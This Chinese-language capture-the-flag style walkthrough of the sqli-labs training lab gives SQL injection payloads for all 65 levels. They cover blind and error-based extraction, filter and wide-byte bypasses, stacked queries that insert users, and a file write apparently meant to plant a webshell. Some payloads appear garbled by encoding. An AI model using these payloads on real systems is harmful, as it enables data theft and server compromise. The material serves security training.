sqli-labs 1-65教程

导语

做完DVWA感觉还是对sql注入了解不够多,尝试做了一下这个实验。
里面是所有的payload和一些解释。

Less1-35

Less-1
Please input the ID as parameter with numeric value
尝试输入ID=1’ 这是一个字符型注入
Payload : id=1’

Less-2
这是一个数字型注入
Payload : ?id=9 union select 1,database(),user()

Less-3
生成的注入语句SELECT * FROM users WHERE id=(‘2’) – ‘) LIMIT 0,1
也就是把2’)注入进去构造成正常的语句,然后再–注释掉
单引号括号注入
Payload:?id=2’) –+

Less-4
?id=1’ 单引号正常
?id=1” 双引号报错 right syntax to use near ‘“1”“)
得出这个一个双引号括号的注入
Payload:?id=1”) –+

Less-5
Payload:?id=1’ 报错right syntax to use near ”1”
这是一个单引号的注入

Less-6
Payload:?id=1” 报错syntax to use near ‘“1””
这是一个双引号的注入
Less-7
转储文件get字符型注入
通过payload 我们成功一句话木马导入到指定的路径
导入:
Payload:?id=1')) union select 1,'2','' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\xiaoha2i.php' %23
导出:
Payload:id=(('1')) union select 1,load_file ('D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\xiaoha2i.php'),'3' #'))

Less-8 Blind- Boolian- Single Quotes- String 盲注单引号注入
盲注简单理解就是不回显数据的注入,只通过页面是否正确返回来判断
Payload:?id=1’ and LENGTH(database())>=5 %23 通过这个判断数据库长度
Payload:?id=1’ and ascii(substr(database(),1,1))>=115 %23 判断某个字符串的ascii
通过更改substr(1,1)来获取不同位置的字符串的数据
Payload:?id=1’ and (select count(table_name) from information_schema.tables where table_schema=’security’)>=4 判断这个数据库有多少个表
Payload:?id=1’ and (select length(table_name) from information_schema.tables where table_schema=’security’ LIMIT 0,1)>=9 判断第一张表的长度
limit 第一个参数是指记录开始的index,从0开始,表示第一条记录。
Limit 第二个参数表示取多少条
Payload:?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))>=102 获取第一张表的第一个字符串ascii是否大于102
Payload:?id=1’ and (select count(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’)>=3 获取db=security table=users 的表里面有多少字段,是否大于等于3个字段
group by 组合查询

Less-9 -基于时间的GET单引号盲注
因为不管我们怎么输入,返回的都是同样的信息,但是我们又想知道是否存在注入,我们通过sleep(5)延时来判断是否成功执行了sql语句
payload:?id=1’ and sleep(5) %23
payload:?id=1’ and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23

Less-10 -基于时间的GET双引号盲注
同上,只是由单引号变为双引号
payload:?id=1” and sleep(5) %23
payload:?id=1” and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23

Less-11-基于错误的post单引号注入
截图 SELECT username, password FROM users WHERE username=’test ’ or 1=1 #’ and password=’aaaa’ LIMIT 0,1
payload-post:username=test ’ or 1=1 # &password=xxxxx

Less-12-基于错误的post双引号注入
尝试输入test ”
返回错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘aasdfas”) LIMIT 0,1’ at line 1
payload-post:username=test “) or 1=1 # &password=xxxxx

Less-13-POST单引号变形双注入
尝试输入test ’
返回错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘adsfasd’) LIMIT 0,1’ at line 1
payload-post:username=test ‘) or 1=1 # &password=xxxxx

Less-14-POST双引号变形双注入
尝试输入a”
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘“aa “” LIMIT 0,1’ at line 1
payload-post:username=a&password=a” or “1”=”1

Less-15-基于bool型/时间延迟单引号POST型盲注
这次输入’ “都没有错误回显
这是一个盲注,我们通过返回正确信息判断是否注入成功
payload-post:username=a&password=a’ or if(length(database())=8,1,sleep(5)) #

Less-16-基于bool型/时间延迟的双引号POST型盲注
尝试输入 a”) or 1=1 #
然后构造带有括号的注入
payload-post:username=a&password=a”) or if(length(database())=8,1,sleep(5)) #

Less-17-基于错误的更新查询POST注入
使用updatexml() 参数2是代表xpath格式数据。 如果不是xpath格式就会报错
错误信息成功返回version():XPATH syntax error: ‘~10.1.32-MariaDB~’
payload-post:a’ or updatexml(1,concat(0x7e,version(),0x7e),1) #

Less-18-基于错误的用户代理,头部POST注入
通过查看源码看到,是一个insert的语句,我们通过构造updatexml xpath错误信息来返回数据
通过构造User-Agent
payload-header:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0 ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #

Less-19-基于头部的Referer POST报错注入
同上只是构造的请求头不一样
通过构造Referer
Referer: http://localhost/sqli-labs/Less-19/ ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #

Less-20-基于错误的cookie头部POST注入
这里因为不是Inser语句 , 所以我们在补全SQL语句的时候不需要加,”,”)
通过构造cookie
payload-header:Cookie: uname=admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) #

Less-21-基于错误的复杂的字符型Cookie注入
这个是通过base64编码来构造SQL注入语句 , 然后注入到cookie中。
未编码的语句: ‘) union select 1,2,email_id from emails #
payload-header:Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMixlbWFpbF9pZCBmcm9tIGVtYWlscyAj

Less-22-基于错误的双引号字符型Cookie注入
同上(单引号变双引号,去掉括号)保证完整的输出一条SQL语句
未编码的语句: ” union select 1,2,email_id from emails #
payload-header:Cookie: uname=IiB1bmlvbiBzZWxlY3QgMSwyLGVtYWlsX2lkIGZyb20gZW1haWxzICM=

Less-23-基于错误的,过滤注释的GET型
过滤了注释符 # –
通过补全sql直接完成注入
payload:?id=1’ or ‘1’=’1

Less-24-二次注入
通过注册一个 admin’ #的用户
然后在修改密码的时候会构造这样一个sql语句,成功把admin的密码修改为qq
UPDATE users SET PASSWORD=’qq’ where username=’admin’ #’ and password=’123456’

Less-25-过滤了or和and

payload:?id=1’ || ‘1’=’1
payload:?id=1’ oorr ‘1’=’1
payload:?id=1’ anandd ‘1’=’1

Less-25a-过滤了or和and的盲注
同上,只不过没有错误信息。
payload:?id=1 oorr 1=1

Less-26-过滤了注释和空格的注入
最终通过%a0可以代替空格
payload:?id=0’�union�select�1,group_concat(email_id),3�from�emails�union�select�1,2,’3

Less-27-过滤了union和select
通过大小写的方式绕过
payload:?id=0’�uniOn�sElEct�1,database(),’3

Less-27a-过滤了union和select 盲注版本
通过大小写的方式绕过。
然后是双引号
payload:?id=1”and(length(database())>8)%a0uNion%a0sELect%a01,2,”3

Less-28-基于错误的,有括号的单引号字符型,过滤了union和select等的注入
通过大小写的方式绕过
payload:?id=0%27)%a0uNion%a0sElect(1),(database()),(%273

Less-28a-有括号的单引号字符型,过滤了union和select等的注入 盲注
通过大小写绕过
payload:?id=1’)and(length(database())>8)and(‘1’)=(‘1

Less-29-31waf保护
payload:?id=0%27%20union%20select%201,database(),3%20or%20%271%27=%271
参考:http://www.cnblogs.com/lcamry/p/5762961.html

Less-32-宽字节注入
waf: ‘替换成\’ “替换成\” \替换成 \”
尝试输入 ?id=1’ 然后返回信息是 ?id=1\’
我们通过?id=1%df’ 产生宽字节注入,使\’的\被屏蔽 从而产生正确的注入语句
?id=0%df%27union%20select%201,database(),3%20–+

Less-33-宽字节注入
addslashes()函数: ‘替换成\’ “替换成\” \替换成 \”
尝试输入 ?id=1’ 然后返回信息是 ?id=1\’
我们通过?id=1%df’ 产生宽字节注入,使\’的\被屏蔽 从而产生正确的注入语句
?id=0%df%27union%20select%201,database(),3%20–+

Less-34-宽字节post注入
同上 , 只不过使用的是Post的方式
�这个是%df的意思,因为在输入框输入的编码不会自动转换,所以要输入�
payload-post:uname=1�’ or 1=1 #

Less-35-why care for addslashes
因为是数字型注入, 用不到 ’ ” 所以直接注入,无需关注addslashes绕过
payload:?id=0%20union%20select%201,database(),3%20–+

Less36-65

Less-36-绕过Mysql过滤
函数mysql_real_escape_string()
可以通过宽字节 %df 或者utf-16
payload:?id=0%df%27%20or%201=1%20%20–+
payload:?id=0�%27union%20select%201,user(),3–+
在链接数据库时设置这个可以起到防护作用Mysql_set_charset(‘gbk’,’$conn’)
设置以后id=’0\�\’ 然后sql失效

Less-37-MySQL_real_escape_string
这几种函数addslashes、mysql_real_escape_string、replace都存在有类似的绕过方式
payload-post:uname=�’ or 1=1 #

Less-38-堆叠查询
堆叠注入,实际上就构成了两条SQL语句
payload:?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2740%27,%27Ren%27,%27hello%27)–+
SELECT * FROM users WHERE id=’1’;insert into users(id,username,password) values (‘40’,’Ren’,’hello’)– ’ LIMIT 0,1

Less-39-堆叠查询
同上,只不过没有单引号
payload:?id=1;insert%20into%20users(id,username,password)%20values%20(%2755%27,%27Ren2%27,%27hello%27)–+
SELECT * FROM users WHERE id=1;insert into users(id,username,password) values (‘55’,’Ren2’,’hello’)– ’ LIMIT 0,1

Less-40-堆叠查询
同上,只不过多了 1’);
payload:?id=1’);insert%20into%20users(id,username,password)%20values%20(%2756%27,%27Ren3%27,%27hello%27)–+
SELECT * FROM users WHERE id=1;insert into users(id,username,password) values (‘56’,’Ren3’,’hello’)– ’ LIMIT 0,1

Less-41-堆叠查询 盲注
同39一样,只是错误没回显。

Less-42
因为user设置了过滤函数mysqli_real_escape_string()
所以我们在密码处构造
payload-password:c’;create table less42 like users #
SELECT * FROM users WHERE username=’aaaa’ and password=’c’;create table less42 like users #’

Less-43
同上,只不过多了一个c’);
payload-password:c’);create table less43 like users#

Less-44
同上42,只是没有回显信息
payload-password:a’;insert into users(id,username,password) values (‘144’,’less44’,’hello’)#

Less-45
同上43,只是没有回显信息
payload-password:c’);create table less43 like users#

Less-46
怎么在order by注入SQL语句
通过into outfile方式导出sql语句
SELECT * FROM users ORDER BY 1 into outfile “C:\xampp\htdocs\sqli-labs\test1.txt”
payload:?sort=1%20into%20outfile%20”C:\xampp\htdocs\sqli-labs\test1.txt”

通过报错的形式回显数据
SELECT * FROM users ORDER BY (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
payload:?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

floor报错原理解析需要配合以下3个函数
我们通过count(*) 计算次数
再通过group by 生成键值

其实mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个“被计算多次”到底是什么意思,就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。
floor(rand(0)*2) 生成一组 0 1 1 0 1 1
第一次查询: key count
1 1 第一次为0,不存在则第二次1插入键值
第二次查询: 1 2 第三次为1,存在则+1 ,就不进行下一次的运算了
第三次查询: 第四次为0,第5次为1,因为第四次不存在,所以第五次插入新的键值,已经存在有键值1所以报错

Less-47
同上,只不过变成字符型了,多一个单引号
payload:?sort=1%27and%20(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))–+

Less-48
order by 数字型盲注
payload:?sort=rand(ascii(left(database(),1))=178)

Less-49
order by 字符型盲注
同上46,只不过没有错误回显
只能通过into outfile 注入,或者延时注入
payload:?sort=1%27%20and%20(If(ascii(substr((select%20username%20from%20users%20where%20id=1),1,1))=69,0,sleep(5)))–+
payload:?sort=1%20into%20outfile%20”C:\xampp\htdocs\sqli-labs\test1.txt”

Less-50
执行多条sql
mysqli_multi_query()可以执行多条sql 这个实验使用的是这个函数
mysqli_query() 只可以执行一条
payload:?sort=1;create%20table%20less50%20like%20users

Less-51
同上,只不过是字符型
mysqli_multi_query()可以执行多条sql 这个实验使用的是这个函数
mysqli_query() 只可以执行一条
payload:?sort=1’;create%20table%20less50%20like%20users

Less-52
同上50,只不过不显示错误
payload:?sort=1;create%20table%20less50%20like%20users

Less-53
同上51,只不过不显示错误
payload:?sort=1%27;create%20table%20less53%20like%20users–+

Less-54
只能输入10次注入信息,记录方式是cookie
找到表名
payload:?id=0’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’challenges’–+
找到列名
payload:?id=0’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’yn5gq25uur’–+
找到最后的flag
payload:?id=0%27union%20select%201,2,group_concat(secret_B4CP)%20from%20challenges.yn5gq25uur–+

Less-55
思路同上54 ,只不过多一个括号?id=0) 次数为14次

Less-56
思路同上54,55。只不过多一个单引号和括号?id=0’) 次数为14次

Less-57
思路同上,只不过 id=”.$id.” 这里进行了双引号闭合
payload:?id=-1”union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’challenges’%23

Less-58
尝试了查询database() 不返回数据。
那就只能试试报错注入了
payload:?id=0’union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))–+

Less-59
同上,只不过没有单引号
payload:?id=0 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))–+

Less-60
同上,只不过多了双引号和括号?id=0”)
payload:?id=0”) union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))–+

Less-61
同上,只不过多了两个括号和一个双引号?id=0’))
payload:?id=0’)) union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))–+

Less-62
union和报错注入失效
使用延时注入
payload:?id=1%27)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))–+

Less-63
同上62,只不过是单引号
payload:?id=0%27and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=77,0,sleep(10))–+
正确时间短,错误时间长

Less-64
同上63,只不过是双括号
payload:?id=0))and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=77,0,sleep(10))–+
正确时间短,错误时间长

Less-65
同上,只不过?id=1”)
payload:?id=1%22)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))–+

你可能感兴趣的:(web安全)